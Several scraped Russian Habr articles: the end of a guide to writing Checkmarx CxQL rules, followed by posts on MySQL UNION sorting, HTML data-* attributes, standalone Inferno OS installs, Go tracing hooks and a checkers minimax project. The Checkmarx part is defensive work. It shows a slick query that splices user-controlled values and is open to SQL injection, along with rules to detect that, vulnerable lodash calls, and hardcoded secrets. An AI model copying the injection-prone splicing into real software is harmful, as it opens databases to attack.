В качестве примера разберем известную в узких кругах библиотеку [slick](http://scala-slick.org/) для языка программирования Scala, а именно, функционал [Splicing Literal Values](http://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values). В общем случае, для передачи параметров в SQL-запрос необходимо использовать оператор `$`, который подставляет данные в предварительно сформированный SQL-запрос. То есть, по факту является прямым аналогом Prepared Statement в Java. Но, в случае необходимости динамически конструировать SQL-запрос, например, если нужно передавать имена таблиц, возможно использовать оператор `#$`, который напрямую подставит данные в запрос (практически, как конкатенация строк).
Пример кода:
```
// В общем случае - значения, контролируемые пользователем
val table = "coffees"
sql"select * from #$table where name = $name".as[Coffee].headOption
```
Checkmarx пока не умеет определять использование Splicing Literal Values и пропускает операторы `#$`, так что попробуем научить его определять потенциальные SQL-инъекции и подсвечивать нужные места в коде:
```
// Находим все импорты
CxList imports = All.FindByType(typeof(Import));
// Ищем по имени, есть ли в импортах slick
CxList slick = imports.FindByShortName("slick");
// Некоторый флаг, определяющий, что импорт библиотеки в коде присутствует
// Для более точного определения - можно применить подход с именем файла
bool not_empty_list = false;
foreach (CxList r in slick)
{
// Если встретили импорт, считаем, что slick используется
not_empty_list = true;
}
if (not_empty_list) {
// Ищем вызовы, в которые передается SQL-строка
CxList sql = All.FindByShortName("sql");
sql.Add(All.FindByShortName("sqlu"));
// Определяем данные, которые попадают в эти вызовы
CxList data_sql = All.DataInfluencingOn(sql);
// Так как синтакис не поддерживается, можно применить подход с регулярными выражениями
// RegExp стоит использовать крайне осторожно и не применять его на большом количестве данных, так как это может сильно повлиять на производительность
CxList find_possible_inj = data_sql.FindByRegex(@"\#\$", true, true, true);
// Избавляемся от лишних срабатываний, если они есть и выводим в результат
result = find_possible_inj.FindByType(typeof(BinaryExpr));
}
```
---
**Задача:** Поиск используемых уязвимых функций в Open-Source библиотеках
**Решение:** Во многих компаниях используются инструменты для контроля Open-Source (практика OSA), позволяющие обнаружить использование уязвимых версий библиотек в разрабатываемых приложениях. Иногда обновить такую библиотеку до безопасной версии не представляется возможным. В каких-то случаях есть функциональные ограничения, в других безопасной версии и вовсе нет. В таком случае поможет комбинация практик SAST и OSA, позволяющая определить, что функции, которые приводят к эксплуатации уязвимости, не используются в коде.
Но иногда, особенно, если рассматривать JavaScript, это может быть не совсем тривиальной задачей. Ниже представлено решение, возможно не идеальное, но тем не менее работающее, на примере уязвимостей в компоненте `lodash` в методах `template` и `*set`.
Примеры тестового потенциально уязвимого кода в JS файле:
```
/**
* Template example
*/
'use strict';
var _ = require("./node_modules/lodash.js");
// Use the "interpolate" delimiter to create a compiled template.
var compiled = _.template('hello <%= js %>!');
console.log(compiled({ 'js': 'lodash' }));
// => 'hello lodash!'
// Use the internal `print` function in "evaluate" delimiters.
var compiled = _.template('<% print("hello " + js); %>!');
console.log(compiled({ 'js': 'lodash' }));
// => 'hello lodash!'
```
И при подключении напрямую в html:
```
Lodash Tutorial
// Lodash chunking array
nums = [1, 2, 3, 4, 5, 6, 7, 8, 9];
let c1 = \_.template('<% print("hello " + js); %>!');
console.log(c1);
let c2 = \_.template('<% print("hello " + js); %>!');
console.log(c2);
```
Ищем все наши уязвимые методы, которые перечислены в уязвимостях:
```
// Ищем все строки: в которых встречается строка lodash (предполагаем, что это объявление импорта библиотеки
CxList lodash_strings = Find_String_Literal().FindByShortName("*lodash*");
// Ищем все данные: которые взаимодействуют с этими строками
CxList data_on_lodash = All.InfluencedBy(lodash_strings);
// Задаем список уязвимых методов
List vulnerable\_methods = new List {"template", "\*set"};
// Ищем все наши уязвимые методы, которые перечисленны в уязвимостях и отфильтровываем их только там, где они вызывались
CxList vulnerableMethods = All.FindByShortNames(vulnerable\_methods).FindByType(typeof(MethodInvokeExpr));
//Находим все данные: которые взаимодействуют с данными методами
CxList vulnFlow = All.InfluencedBy(vulnerableMethods);
// Если есть пересечение по этим данным - кладем в результат
result = vulnFlow \* data\_on\_lodash;
// Формируем список путей по которым мы уже прошли, чтобы фильтровать в дальнейшем дубли
List lodash\_result\_path = new List {};
foreach(CxList lodash\_result in result)
{
// Очередной раз получаем пути к файлам
string file\_name = lodash\_result.GetFirstGraph().LinePragma.FileName;
lodash\_result\_path.Add(file\_name);
}
// Дальше идет часть относящаяся к html файлам, так как в них мы не можем проследить откуда именно идет вызов
// Формируем массив путей файлов, чтобы быть уверенными, что срабатывания уязвимых методов были именно в тех файлах, в которых объявлен lodash
List lodash\_path = new List {};
foreach(CxList string\_lodash in lodash\_strings)
{
string file\_name = string\_lodash.GetFirstGraph().LinePragma.FileName;
lodash\_path.Add(file\_name);
}
// Перебираем все уязвимые методы и убеждаемся, что они вызваны в тех же файлах, что и объявление/включение lodash
foreach(CxList method in vulnerableMethods)
{
string file\_name\_method = method.GetFirstGraph().LinePragma.FileName;
if (lodash\_path.Contains(file\_name\_method) == true && lodash\_result\_path.Contains(file\_name\_method) == false){
result.Add(method);
}
}
// Убираем все UknownReferences и оставляем самый "длинный" из путей, если такие встречаются
result = result.ReduceFlow(CxList.ReduceFlowType.ReduceSmallFlow) - result.FindByType(typeof(UnknownReference));
```
---
**Задача:** Поиск зашитых в приложение сертификатов
**Решение:** Нередко приложения, особенно мобильные, используют сертификаты или ключи для доступа к различным серверам или проверки SSL-Pinning. Если смотреть с точки зрения безопасности - хранить такие вещи в коде не самая лучшая практика. Попробуем написать правило, которое будет искать подобные файлы в репозитории:
```
// Найдем все сертификаты по маске файла
CxList find_certs = All.FindByShortNames(new List {"\*.der", "\*.cer", "\*.pem", "\*.key"}, false);
// Проверим, где в приложении они используются
CxList data\_used\_certs = All.DataInfluencedBy(find\_certs);
// И для мобильных приложений - можем поискать методы, где вызывается чтение сертификатов
// Для других платформ и приложений могут быть различные методы
CxList methods = All.FindByMemberAccess("\*.getAssets");
// Пересечение множеств даст нам результат по использованию локальных сертификатов в приложении
result = methods \* data\_used\_certs;
```
---
**Задача:** Поиск скомпрометированных токенов в приложении
**Решение:** Нередко приходится отзывать скомпроментированные токены или другую важную информацию, которая присутствует в коде. Конечно, хранить их внутри исходников не самая хорошая идея, но ситуации бывают разные. Благодаря запросам CxQL найти такие вещи достаточно просто:
```
// Получаем все строки, которые содержатся в коде
CxList strings = base.Find_Strings();
// Ищем среди всех строк нужное нам значение. В примере токен в виде строки "qwerty12345"
result = strings.FindByShortName("qwerty12345");
```
### Заключение
Надеюсь, что тем, кто начинает своё знакомство с инструментом Checkmarx будет полезна данная статья. Возможно и те, кто уже давно пишет свои правила, тоже найдут что-то полезное в этом руководстве.
К сожалению, сейчас очень не хватает ресурса, где можно было бы почерпнуть новые идеи в ходе разработки правил для Checkmarx. Поэтому мы создали [**репозиторий на Github**](https://github.com/Swordfish-Security/Checkmarx-Custom-Query-Rules), где будем выкладывать свои наработки, чтобы каждый, кто использует CxQL, смог найти в нем что-то полезное, а также имел возможность поделиться с сообществом своими трудами. Репозиторий в процессе наполнения и структурирования контента, так что contributors are welcome!
Спасибо за внимание! | https://habr.com/ru/post/521396/ | null | ru | null |
# Сортировке внутри Union
Особенность сортировоки внутри union.
спасибо [funca](https://geektimes.ru/users/funca/) пост оставлю — может кому пригодится основной смысл — "[Сортировать нужно результат, а не промежуточные данные](http://habrahabr.ru/blogs/mysql/65874/#comment_1847611). "
> `1. CREATE TABLE `t1` (
> 2. `id1` int( 10 ) unsigned NOT NULL default '0',
> 3. `id2` int( 10 ) unsigned NOT NULL ,
> 4. `k1` decimal( 6, 5 ) unsigned NOT NULL default '0.00000',
> 5. `k2` int( 10 ) unsigned NOT NULL default '0',
> 6. PRIMARY KEY ( `id1` , `id2` ) ,
> 7. KEY `k2` ( `id1` , `k2` )
> 8. ) ENGINE = MEMORY;`.
engine memory не ключевой момент — проверил на MyISAM тоже самое
далее заполним ее данными подобным приведенному ниже образом.
> `1. for(**$i**=0;**$i**<100;**$i**++){
> 2. **$i**->query('REPLACE INTO `t1` (`id1`, `id2`, `k1`, `k2`)VALUES (?d, ?d, ?f, ?d)',
> 3. rand(0,99999), rand(0,5), rand(2,99999)/50000, rand(0,20)
> 4. );
> 5. }
> \* This source code was highlighted with Source Code Highlighter.`
и посмотрим на результат такого запроса:
> `1. (
> 2. SELECT `id1`, `k1`, `k2`
> 3. FROM `t1`
> 4. WHERE `id2`=3 AND `k2`=13
> 5. ORDER BY `k1` DESC
> 6. )
> 7. UNION (
> 8. SELECT `id1`, `k1`, `k2`
> 9. FROM `k1`
> 10. WHERE `id2`=3 AND `k2`!=13
> 11. ORDER BY `k1` DESC
> 12. )`
вот он, для указанного выше примера:
```
id1 k1 k2
2726 1.50194 13
88207 0.25084 13
37274 0.96550 11
11059 0.42600 6
11139 1.90196 4
63593 1.42970 5
65273 1.44950 18
28721 0.79328 15
70946 0.87576 4
96673 1.71290 14
49207 1.92928 17
40697 1.82320 18
```
Баг на наш взгляд состоит в том, что в выборке, генерируемой вторым запросом юниона отсутствует сортировка по среднему столбцу.
Кто либо из хабрасообщества может пролить свет на такое поведение?
кстати, конечно же хотим поделиться еще и решением этой проблемы:
> `1. SELECT `id1` , `k1` , `k2`
> 2. FROM `t1`
> 3. WHERE `id2` =3
> 4. ORDER BY if( `k2` =13, 0, 1 ) , `k1` DESC`
```
2726 1.50194 13
88207 0.25084 13
49207 1.92928 17
11139 1.90196 4
40697 1.82320 18
96673 1.71290 14
65273 1.44950 18
63593 1.42970 5
37274 0.96550 11
70946 0.87576 4
28721 0.79328 15
11059 0.42600 6
``` | https://habr.com/ru/post/65874/ | null | ru | null |
# HTML-атрибуты data-* для хранения параметров и получения их в js
В HTML 5 были введены такие атрибуты тегов, как [data-\*](http://dev.w3.org/html5/spec/global-attributes.html#embedding-custom-non-visible-data-with-the-data-attributes).
Про них вы наверняка слышали или видели в разных проектах.
Например, их используют такие модные товарищи, как Twitter Bootstrap и jQuery Mobile.
Раньше использовали классы, ради сохранения информации в HTML, с целью последующего использования в js.
Например, для сохранения уникального номера блока часто пишут так:
```
...
...
...
...
...
```
А если нам нужно добавить еще один класс для каждого элемента? Или модификатор для отдельных? Да, конечно, можно обрезать регуляркой или другим костыликом на ваш вкус.
Как может показаться, тут можно задействовать id, но у нас могут быть блоки с одинаковым номером.
Иногда используют атрибут ‘rel’, но его можно использовать только для ссылок, хотя я видел и у других элементов. И опять же недостаток — мы можем записать в него только одно значение.
И вот нам на помощь спешат ~~Чип и Дейл~~ атрибуты data-\*.
#### Плюшки
Можно присобачить к любому тегу и старые браузеры ничего не скажут против.
Можно в названии писать словосочетания: data-email-id=”190”.
Можно использовать любую строку в значении.
Можно использовать любой количество таких параметров для одного тега.
HTML тогда превратится в это:
```
...
...
...
...
...
```
Теперь самое интересное, а именно — работа в jQuery.
Находим: `$(‘[data-email-id]’)` или `$(‘[data-action=close]’)` или даже `$(‘[data-date^=2010]’)`
Получаем значение: `var email = $(selector).attr(‘data-email-id’)`
Самое интересное — это использование функции .data().
В версии 1.4.3 [data() научилось получать наши атрибуты data-\*](http://api.jquery.com/data/#data-html5) вот таким образом:
`var action = $(selector).data(‘action’); // close`
Если же мы использовали словосочетание через дефис, то мы сможем получить его в camelCase:
```
```
```
$('#superid').data('fooBar'); // вернет 123
```
Один минус (а может и не минус) — это то, что в data() сохранится только изначальное значение (кешируется), и если мы изменим значение атрибута (например, через .attr(‘data-foo-bar’, 456)), то получая .data('fooBar') увидим наше старое значение.
Но никто не мешает нам обновлять значение в 2х местах, если мы так захотим:
```
var baz = 150;
$(selector).data('fooBar', baz).attr('data-foo-bar', baz);
```
Хотя, если вам не нужно отслеживать код в, например, фаербаге, то можно и не обновлять .attr(), так как он влияет только на “визуальное” отображение.
В общем, как только вам понабиться сохранить дополнительные параметры в теге, то используйте data-атрибуты.
#### ЗЫ:
Интересно, кто нибудь пробовал хранить в атрибутах json? :)
Хотя это, пожалуй, в ненормальное программирование.
#### ЗЫЫ:
Многие говорят про функцию jQuery.data(elem, key, [value])
Кто не знает, эта функция отличается от $(selector).data(key, [value])
Она позволяет привязывать данные к ~~DOM-элементам~~ любым объектам, а не к jQuery объектам. Да, она работает на 60% быстрей, но вот data-\* атрибуты она не получает.
#### ЗЫЫЫ:
[trijin](https://habrahabr.ru/users/trijin/): Не упомянуто что $(selector).data() — вернет объект со всеми data-\* свойствами элемента. | https://habr.com/ru/post/139210/ | null | ru | null |
# Подготовка ваших приложений Inferno к standalone установке
Итак, вы написали некое приложение на [Limbo](http://powerman.name/Inferno/Limbo.html), и хотите установить его на другую машину, или распространять через интернет. Скорее всего, там где будет устанавливаться это приложение [OS Inferno](http://www.vitanuova.com/inferno/index.html) не установлена. Это горько, но более чем вероятно. :) Что же делать? Обучать пользователей вашего приложения [устанавливать и настраивать](http://habrahabr.ru/post/145922/) у себя OS Inferno? Включать полную инсталляцию Inferno (до 250 MB) в архив с *каждым* вашим приложением? Нет, всё гораздо проще!
Давайте посмотрим, как можно урезать Inferno до минимума, необходимого для работы вашего приложения. Для этого надо разобраться, что происходит при запуске `emu` — как загружается OS Inferno.
#### Загрузка OS Inferno
Бинарник `emu` уже содержит в себе ядро OS, все драйвера, и [виртуальную машину Dis](http://www.vitanuova.com/inferno/papers/dis.html). Когда он запускается, ему необходимо параметром -r передать корневой каталог OS Inferno (сам `emu` при этом не обязан находится внутри этого каталога, так что можно использовать один `emu` с несколькими разными инсталляциями OS Inferno — отличающимися установленными приложениями и библиотеками).
Загрузившись, `emu` просто запускает `/dis/emuinit.dis` (все пути указаны относительно корневого каталога OS Inferno), который должен проинициализировать систему и запустить либо переданное параметром `emu` приложение либо шелл. (То же самое делает ядро Linux, когда, загрузившись само, просто передаёт управление на /sbin/init.) Если изучить [исходники emuinit](http://code.google.com/p/inferno-os/source/browse/appl/cmd/emuinit.b) выясняется, что «проинициализировать систему» — это очень громко сказано, в Inferno всё делается очень просто, даже по сравнению с [максимально упрощённой инициализацией Linux](http://habrahabr.ru/post/21205/).
Это всё. :) Таким образом, для получения standalone инсталляции OS Inferno с вашим приложением необходимо и достаточно следующих файлов и каталогов:* Сам `emu`, находящийся в любом каталоге.
* Подкаталог `dis/` с файлом `emuinit.dis`.
* Необходимые `emuinit.dis` библиотеки (в подкаталоге `dis/lib/`).
* Файл(ы) и каталог(и), необходимые вашему приложению.
* Библиотеки, необходимые вашему приложению (в том же `dis/lib/`).
#### Пример: Hello World
Начнём с простого приложения, без каких либо зависимостей. Вот такого:
```
implement HelloWorld;
include "sys.m";
include "draw.m";
HelloWorld: module
{
init: fn(nil: ref Draw->Context, nil: list of string);
};
init(nil: ref Draw->Context, nil: list of string)
{
sys := load Sys Sys->PATH;
sys->print("Hello World!\n");
}
```
Сохраните его в `helloworld.b`, запустите `limbo helloworld.b` и вы получите `helloworld.dis`:
```
; ls -l
--rw-r--r-- U 0 powerman users 265 Oct 25 02:54 helloworld.b
--rw-r--r-- U 0 powerman users 147 Oct 25 02:54 helloworld.dis
```
Теперь давайте определим зависимости:
```
; disdep helloworld.dis
; disdep /dis/emuinit.dis
/dis/lib/arg.dis
/dis/sh.dis
/dis/lib/bufio.dis
/dis/lib/env.dis
/dis/lib/readdir.dis
/dis/lib/filepat.dis
/dis/lib/string.dis
```
У `helloworld.dis` зависимостей нет, хотя он и использует модуль Sys. Дело в том, что некоторые основные модули написаны на C и встроены прямо в emu, в том числе Sys. У `emuinit.dis` зависимостей много, но прямых из них только две — arg и sh. Остальное нужно для sh. А сам sh нужен только в том случае, если мы не указали параметром `emu` приложение, которое нужно сразу запустить. Поэтому мы можем ограничиться одной библиотекой arg. Поехали:
```
$ mkdir inferno-standalone
$ mkdir inferno-standalone/dis
$ mkdir inferno-standalone/dis/lib
$ cd inferno-standalone/
$ SRC=/usr/local/inferno/
$ cp $SRC/Linux/386/bin/emu ./
$ cp $SRC/dis/emuinit.dis dis/
$ cp $SRC/dis/lib/arg.dis dis/lib/
$ cp $SRC/usr/powerman/helloworld.dis ./
$ ./emu -r. helloworld.dis
Hello World!
$
```
Итак, у нас есть standalone инсталляция helloworld, готовая к работе на любой системе с Linux (для других OS нужно просто взять emu скомпилированный для этих OS). Давайте посмотрим, сколько она «весит». (Кстати, `emu` под Linux по умолчанию не strip-нут, так что его можно заметно уменьшить.)
```
$ strip emu
$ find -type f -printf "%8s %p\n"
1562504 ./emu
147 ./helloworld.dis
652 ./dis/lib/arg.dis
1518 ./dis/emuinit.dis
```
#### Пример: калькулятор
Теперь давайте возьмём нормальное приложение. Например, калькулятор, входящий в стандартные утилиты Inferno. Он [достаточно навороченный](http://powerman.name/Inferno/man/1/calc.html), кстати.
```
; disdep /dis/calc.dis
/dis/lib/arg.dis
/dis/lib/bufio.dis
/dis/lib/daytime.dis
/dis/lib/string.dis
/dis/lib/rand.dis
$ cp $SRC/dis/calc.dis ./
$ cp $SRC/dis/lib/{bufio,daytime,string,rand}.dis dis/lib/
$ find -type f -printf "%8s %p\n"
32567 ./calc.dis
1562504 ./emu
147 ./helloworld.dis
4630 ./dis/lib/bufio.dis
652 ./dis/lib/arg.dis
209 ./dis/lib/rand.dis
4051 ./dis/lib/string.dis
4701 ./dis/lib/daytime.dis
1518 ./dis/emuinit.dis
$ ./emu -r. calc.dis
1+2
3
exit
$ ./emu -r. calc.dis 1+2
3
$
```
#### Погодите, а как же зависимости самого emu?
Да, есть такой момент. Чтобы запустить emu на другой машине там должны быть все необходимые emu библиотеки. К счастью, библиотек всего две. К сожалению, обе относятся к X — это libX11 и libXext.
В принципе, эти библиотеки отлично ставятся без необходимости тащить полностью Xorg. Вот что пришлось бы установить на сервере с Gentoo Linux:
```
# emerge -pv x11-libs/libX11 x11-libs/libXext
These are the packages that would be merged, in order:
Calculating dependencies... done!
[ebuild N ] x11-misc/util-macros-1.1.5 47 kB
[ebuild N ] x11-proto/xproto-7.0.10 140 kB
[ebuild N ] x11-proto/inputproto-1.4.2.1 47 kB
[ebuild N ] x11-proto/kbproto-1.0.3 57 kB
[ebuild N ] x11-proto/xf86bigfontproto-1.1.2 37 kB
[ebuild N ] x11-libs/xtrans-1.0.3 USE="-debug" 101 kB
[ebuild N ] x11-proto/bigreqsproto-1.0.2 36 kB
[ebuild N ] x11-proto/xcmiscproto-1.1.2 36 kB
[ebuild N ] x11-proto/xextproto-7.0.2 67 kB
[ebuild N ] x11-libs/libXau-1.0.3 USE="-debug" 225 kB
[ebuild N ] x11-libs/libXdmcp-1.0.2 USE="-debug" 216 kB
[ebuild N ] x11-libs/libX11-1.1.4 USE="-debug -ipv6 -xcb" 1,540 kB
[ebuild N ] x11-libs/libXext-1.0.3 USE="-debug" 256 kB
Total: 13 packages (13 new), Size of downloads: 2,799 kB
```
Но для работы на сервере сетевого приложения (у которого GUI нет) эти библиотеки абсолютно не нужны. Ведь даже отлаживать это приложение в графическом отладчике я могу на своей рабочей станции, просто подмонтировав каталог `/prog/` с сервера, где запущено приложение. Для решения этой проблемы можно использовать специальную версию `emu` — `emu-g`, которая собирается и работает без libX11 и libXext.
##### emu-g
Чтобы собрать `emu-g` нужно запустить
```
mk CONF=emu-g install
```
После этого вы сможете запускать `emu-g` вместо `emu` (кстати, `emu-g` весит после strip-ания всего 700KB):
```
$ emu-g
; pwd
/usr/powerman
; wm/wm
wm: cannot load $Draw: module not built-in
;
```
P.S. Каталог inferno-strandalone в .tgz у меня занял **666**KB. :-)
**Update:** добавлена информация об emu-g. | https://habr.com/ru/post/43180/ | null | ru | null |
# Средства измерения программ на Go

В этой статье я хотел бы поделиться способом профилирования и трассировки программ на Go. Я расскажу, как можно это делать, сохраняя код гибким и чистым.
TL;DR
-----
Логирование, сбор метрик и все, что не связано с основной функциональностью какого-либо кода, не должно находиться внутри этого кода. Вместо этого нужно определить *точки трассировки*, которые могут быть использованы для измерения кода пользователем.
Другими словами, логирование и сбор метрик – это подмножества **трассировки**.
Шаблонный код трассировки может быть сгенерирован с помощью [gtrace](https://github.com/gobwas/gtrace).
Проблема
--------
Предположим, что у нас есть пакет `lib` и некая структура `lib.Client`. Перед выполнением какого-либо запроса `lib.Client` проверяет соединение:
```
package lib
type Client struct {
conn net.Conn
}
func (c *Client) Request(ctx context.Context) error {
if err := c.ping(ctx); err != nil {
return err
}
// Some logic here.
}
func (c *Client) ping(ctx context.Context) error {
return doPing(ctx, c.conn)
}
```
Что делать, если мы хотим делать запись в лог прямо перед и сразу после того, как отправляется ping-сообщение? Первый вариант – это внедрить логгер (или его интерфейс) в `Client`:
```
package lib
type Client struct {
Logger Logger
conn net.Conn
}
func (c *Client) ping(ctx context.Context) (err error) {
c.Logger.Info("ping started")
err = doPing(ctx, c.conn)
c.Logger.Info("ping done (err is %v)", err)
return
}
```
Если мы захотим собирать какие-либо метрики, мы можем сделать то же самое:
```
package lib
type Client struct {
Logger Logger
Metrics Registry
conn net.Conn
}
func (c *Client) ping(ctx context.Context) (err error) {
start := time.Now()
c.Logger.Info("ping started")
err = doPing(ctx, c.conn)
c.Logger.Info("ping done (err is %v)", err)
metric := c.Metrics.Get("ping_latency")
metric.Send(time.Since(start))
return err
}
```
И логирование, и сбор метрик – это методы трассировки компонента. Если мы продолжим увеличивать их количество внутри `Client`, то скоро обнаружим, что бóльшая часть его кода будет содержать код трассировки, а не код его основной функциональности (который заключался в одной строчке с `doPing()`).
Количество несвязных (не связанных с основной функциональностью `Client`) строчек кода это только первая проблема такого подхода.
Что, если в ходе эксплуатации программы вы поймете, например, что имя метрики нужно поменять? Или, например, вы решите поменять логгер или сообщения в логах?
С таким подходом как выше, вам придется править код `Client`.
Это означает, что вы будете править код каждый раз, когда меняется что-то не связанное с *основной функциональностью* компонента. Другими словами, такой подход нарушает [принцип единственной ответственности (SRP)](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF_%D0%B5%D0%B4%D0%B8%D0%BD%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D0%B9_%D0%BE%D1%82%D0%B2%D0%B5%D1%82%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8).
Что, если вы переиспользуете код `Client` между разными программами? Или, более того, выложили ее в общий доступ? Если честно, то я советую рассматривать *каждый* пакет в Go, как библиотеку, даже если в реальности используете её только вы.
Все эти вопросы указывают на ошибку, которую мы совершили:
> Мы не должны предполагать, какие методы трассировки захотят применять
>
> пользователи нашего кода.
Решение
-------
На мой взгляд, правильно было бы определить *точки трассировки* (или *хуки*), в которых могут быть установлены пользовательские функции (или *пробы*).
Безусловно, дополнительный код останется, но при этом мы дадим пользователям измерять работу нашего компонента любым способом.
Такой подход используется, например, в пакете [`httptrace`](https://golang.org/pkg/net/http/httptrace) из стандартной библиотеки Go.
Давайте предоставим такой же интерфейс, но с одним исключением: вместо хуков `OnPingStart()` и `OnPingDone()`, мы определим только `OnPing()`, который будет возвращать callback. `OnPing()` будет вызван непосредственно перед отправкой ping-сообщения, а callback – сразу после. Таким образом мы сможем сохранять некоторые переменные в замыкании (например, чтобы посчитать время выполнения `doPing()`).
`Client` теперь будет выглядеть так:
```
package lib
type Client struct {
OnPing func() func(error)
conn net.Conn
}
func (c *Client) ping(ctx context.Context) (err error) {
done := c.OnPing()
err = doPing(ctx, c.conn)
done(err)
return
}
```
Выглядит аккуратненько, но только если не проверять хук `OnPing` и его результат на `nil`. Правильнее было бы сделать следующее:
```
func (c *Client) ping(ctx context.Context) (err error) {
var done func(error)
if fn := c.OnPing; fn != nil {
done = fn()
}
err = doPing(ctx, c.conn)
if done != nil {
done(err)
}
return
}
```
Теперь наш код выглядит хорошо в плане SRP принципа и гибкости, но не так хорошо в плане читаемости.
Прежде чем это исправить, давайте решим еще одну проблему трассировки.
### Объединение хуков
Как пользователи могут установить *несколько* проб для одного хука? Пакет
`httptrace` содержит метод [`ClientTrace.compose()`](https://github.com/golang/go/blob/b68fa57c599720d33a2d735782969ce95eabf794/src/net/http/httptrace/trace.go#L175), которыйnобъединяет две структуры трассировки в одну. В результате каждая функцияnполученной структуры делает вызовы соответствующих функций в паре родительских структур (если они были установлены).
Давайте попробуем сделать то же самое вручную (и без использования пакета `reflect`). Для этого мы перенесем хук `OnPing` из `Client` в отдельную структуру `ClientTrace`:
```
package lib
type Client struct {
Trace ClientTrace
conn net.Conn
}
type ClientTrace struct {
OnPing func() func(error)
}
```
Объединение двух таких структур в одну будет выглядеть следующим образом:
```
func (a ClientTrace) Compose(b ClientTrace) (c ClientTrace) {
switch {
case a.OnPing == nil:
c.OnPing = b.OnPing
case b.OnPing == nil:
c.OnPing = a.OnPing
default:
c.OnPing = func() func(error) {
doneA := a.OnPing()
doneB := b.OnPing()
switch {
case doneA == nil:
return doneB
case doneB == nil:
return doneA
default:
return func(err error) {
doneA(err)
doneB(err)
}
}
}
}
return c
}
```
Достаточно много кода для одного хука, верно? Но давайте двигаться дальше, чуть позже мы вернемся к этому.
Теперь пользователь может менять методы трассировки независимо от нашего компонента:
```
package main
import (
"log"
"some/path/to/lib"
)
func main() {
var trace lib.ClientTrace
// Logging hooks.
trace = trace.Compose(lib.ClientTrace{
OnPing: func() func(error) {
log.Println("ping start")
return func(err error) {
log.Println("ping done", err)
}
},
})
// Some metrics hooks.
trace = trace.Compose(lib.ClientTrace{
OnPing: func() func(error) {
start := time.Now()
return func(err error) {
metric := stats.Get("ping_latency")
metric.Send(time.Since(start))
}
},
})
c := lib.Client{
Trace: trace,
}
}
```
### Трассировка и контекст
Трассировка кода так же может происходить в зависимости от контекста. Давайте предоставим пользователю возможность связать `ClientTrace` с экземпляром `context.Context`, который потом может быть передан в `Client.Request()`:
```
package lib
type clientTraceContextKey struct{}
func ClientTrace(ctx context.Context) ClientTrace {
t, _ := ctx.Value(clientTraceContextKey{})
return t
}
func WithClientTrace(ctx context.Context, t ClientTrace) context.Context {
prev := ContextClientTrace(ctx)
return context.WithValue(ctx,
clientTraceContextKey{},
prev.Compose(t),
)
}
```
Фух. Кажется, мы почти закончили!
Но не кажется ли утомительным писать весь этот код для всех компонентов?
Конечно, вы можете определить макросы Vim для этого (и на самом деле я делал так какое-то время), но давайте посмотрим на другие варианты.
Хорошая новость состоит в том, что весь код для объединения хуков, проверок на `nil` и функций для работы с контекстом весьма шаблонный, и мы можем его [сгенерировать](https://blog.golang.org/generate) без использования макросов или пакета `reflection`.
github.com/gobwas/gtrace
------------------------
**gtrace** это инструмент командной строки для генерации кода трассировки из примеров выше. Для описания точек трассировки используются структуры, помеченные директивой `//gtrace:gen`. В результате вы получаете возможность вызова хуков без каких-либо проверок на `nil`, а так же функции для их объединения и функции для работы с контекстом.
Пример сгенерированного кода [находится здесь](https://github.com/gobwas/gtrace/blob/216866e1680bb30fb108f26ee926c471f0920239/examples/pinger/main_gtrace.go).
Теперь мы можем удалить весь рукописный код и оставить только это:
```
package lib
//go:generate gtrace
//gtrace:gen
//gtrace:set context
type ClientTrace struct {
OnPing func() func(error)
}
type Client struct {
Trace ClientTrace
conn net.Conn
}
func (c *Client) ping(ctx context.Context) (err error) {
done := c.Trace.onPing(ctx)
err = doPing(ctx, c.conn)
done(err)
return
}
```
После выполнения команды `go generate` мы можем использовать сгенерированные *не экспортированные* версии хуков из `ClientTrace`.
Вот и все! **gtrace** берет весь шаблонный код на себя и позволяет вам сфокусироваться на *точках трассировки*, которые вы хотели бы предоставить пользователям для измерения вашего кода.
Спасибо за внимание!
References
----------
* [github.com/gobwas/gtrace](https://github.com/gobwas/gtrace)
* [Minimalistic C libraries](https://nullprogram.com/blog/2018/06/10/) by Chris
Wellons. Когда-то я прочитал эту статью и был вдохновлен идеями по
организации кода библиотек.
* Английская версия статьи: [Instrumentation in Go](https://gbws.io/articles/instrumentation-in-go/). | https://habr.com/ru/post/504714/ | null | ru | null |
# Раз-два и в дамки: минимакс с альфа-бета отсечением
*Дисклеймер: это моя первая статья на Хабре и я не программист.*
Всем привет! Под катом небольшая история о том, как я делал свой первый, большой, самостоятельный (если его так можно назвать) "проект" – курсовую работу на тему "Игра в поддавки с компьютером". Если вам интересны алгоритмы для антагонистичесих игр, С# и особенности студенческой жизни – welcome!
Время неумолимо утекало, а преподаватель требовал отчитываться о состоянии курсача, но как вы понимаете, любой нормальный студент всё делает в последний момент – и я не исключение. Но всё-таки мне пришлось сесть за работу...
Моё состояние, когда препод спрашивает в каком состоянии моя работаУ меня был небольшой опыт в программировании – писал всякие скрипты и другую нужную мне автоматизацию на Python, какие-то простые программки на C, Ассемблере, Go (почти стандартный набор студента). Когда я узнал тему работы, то столкнулся с рядом проблем: во-первых, ограниченность в выборе стека технологий – С# с Windows Forms; во-вторых, нужно было написать оптимальный, быстрый и достаточно умный алгоритм, который будет двигать шашки и побеждать человека. *На всякий случай уточню, "поддавки" это шашки наоборот, то есть побеждает тот, у кого не остается шашек.*
Алгоритмы
---------
Итак, я начал думать, как можно решить мою задачу. С ходу прилетело несколько идей:
* Bruteforce
* Machine Learning
* На основе знаний
* ...
**Bruteforce** – слишком долго, непонятно сколько комбинаций придётся перебирать, плюс сильно зависит от ресурсов машины на которой запускается. **Machine Learning** – тема для меня неизвестная и далёкая, да и я подумал, что мой курсач недостоин того, чтобы на него тратили столько времени. **На основе знаний** – предполагает использование базы данных, с уже за ранее известными ходами и комбинациями, а это, на секундочку, 10^20 значений. Этот метод тоже выходил за рамки курсача.
На этом мои идеи закончились и я пошёл на Хабр. Нашёл пару интересных для меня статей, где люди рассказывали о том, как решали похожие задачи. Я выделил два алгоритма – Монте-Карло и Минимакс. Заранее стоит оговориться, что эти алгоритмы мы применяем для поиска оптимальных ходов в дереве. Сейчас вкратце расскажу в чём их суть.
**Монте-Карло**
